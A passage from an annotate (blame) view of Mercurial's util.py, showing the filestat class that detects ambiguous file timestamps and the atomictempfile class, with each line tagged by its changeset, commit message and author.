5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2315 pass
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2316 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2317 return temp
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2318
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2319
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2320 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2321 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2322
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2323 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2324 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2325 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2326 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2327
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2328 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2329 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2330
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2331 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2332 def frompath(cls, path):
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2333 try:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2334 stat = os.stat(path)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2335 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2336 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2337 raise
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2338 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2339 return cls(stat)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2340
32835 1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2341 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2342 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2343 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2344 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2345
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2346 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2347
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2348 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2349 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2350 # if ambiguity between stat of new and old file is
30342 318a24b52eeb spelling: fixes of non-dictionary words Mads Kiilerich <madski@unity3d.com> parents: 30339 diff changeset	2351 # avoided, comparison of size, ctime and mtime is enough
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2352 # to exactly detect change of a file regardless of platform
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2353 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2354 self.stat.st_size == old.stat.st_size
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2355 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2356 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2357 )
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2358 except AttributeError:
32769 b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2359 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2360 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2361 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2362 except AttributeError:
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2363 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2364
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2365 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2366 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2367
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2368 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2369
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2370 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2371 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2372 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2373 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2374 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2375 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2376
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2377 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2378 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2379 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2380
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2381 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2382 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2383
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2384 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2385 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2386 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2387
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2388 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2389 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2390 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2391
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2392 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2393 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2394 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2395 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2396 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2397 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2398 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2399
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2400 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2401 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2402
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2403 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2404
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2405 This skips avoiding ambiguity, if a process doesn't have
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2406 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2407 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2408
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2409 Otherwise, this returns True, as "ambiguity is avoided".
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2410 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2411 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2412 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2413 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2414 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2415 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2416 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2417 # if a process doesn't have appropriate privileges
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2418 return False
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2419 raise
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2420 return True
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2421
29298 82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2422 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2423 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2424
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2425
8778 c5f36402daad use new style classes Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8631 diff changeset	2426 class atomictempfile(object):
17424 e7cfe3587ea4 fix trivial spelling errors Mads Kiilerich <mads@kiilerich.com> parents: 17391 diff changeset	2427 '''writable file object that atomically updates a file
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2428
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2429 All writes will go to a temporary copy of the original file. Call
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2430 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2431 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2432 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2433 writes are discarded.
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2434
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2435 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2436 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2437 or repo.wlock).
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2438 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2439
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2440 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2441 self.__name = name # permanent name
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2442 self._tempname = mktempcopy(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2443 name,
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2444 emptyok=(b'w' in mode),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2445 createmode=createmode,
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2446 enforcewritable=(b'w' in mode),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2447 )
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2448
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2449 self._fp = posixfile(self._tempname, mode)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2450 self._checkambig = checkambig
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2451
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2452 # delegated methods
29393 50269a4dce61 atomictempfile: add read to the supported file operations Martijn Pieters <mjpieters@fb.com> parents: 29367 diff changeset	2453 self.read = self._fp.read
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2454 self.write = self._fp.write
17237 e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2455 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2456 self.tell = self._fp.tell
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2457 self.fileno = self._fp.fileno
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2458
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2459 def close(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2460 if not self._fp.closed:
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2461 self._fp.close()
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2462 filename = localpath(self.__name)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2463 oldstat = self._checkambig and filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2464 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2465 rename(self._tempname, filename)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2466 newstat = filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2467 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2468 # stat of changed file is ambiguous to original one
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2469 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2470 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2471 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2472 rename(self._tempname, filename)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2473
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2474 def discard(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2475 if not self._fp.closed:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2476 try:
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2477 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2478 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2479 pass
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2480 self._fp.close()
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2481
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2482 def __del__(self):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2483 if safehasattr(self, '_fp'): # constructor actually did something
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2484 self.discard()
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2485
29394 6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2486 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2487 return self
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2488
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2489 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2490 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2491 self.discard()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2492 else:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2493 self.close()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2494
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2495
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2496 def unlinkpath(f, ignoremissing=False, rmdir=True):
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2497 """unlink and remove the directory if it is empty"""
31547 bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2498 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2499 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2500 else:
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2501 unlink(f)
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2502 if rmdir:
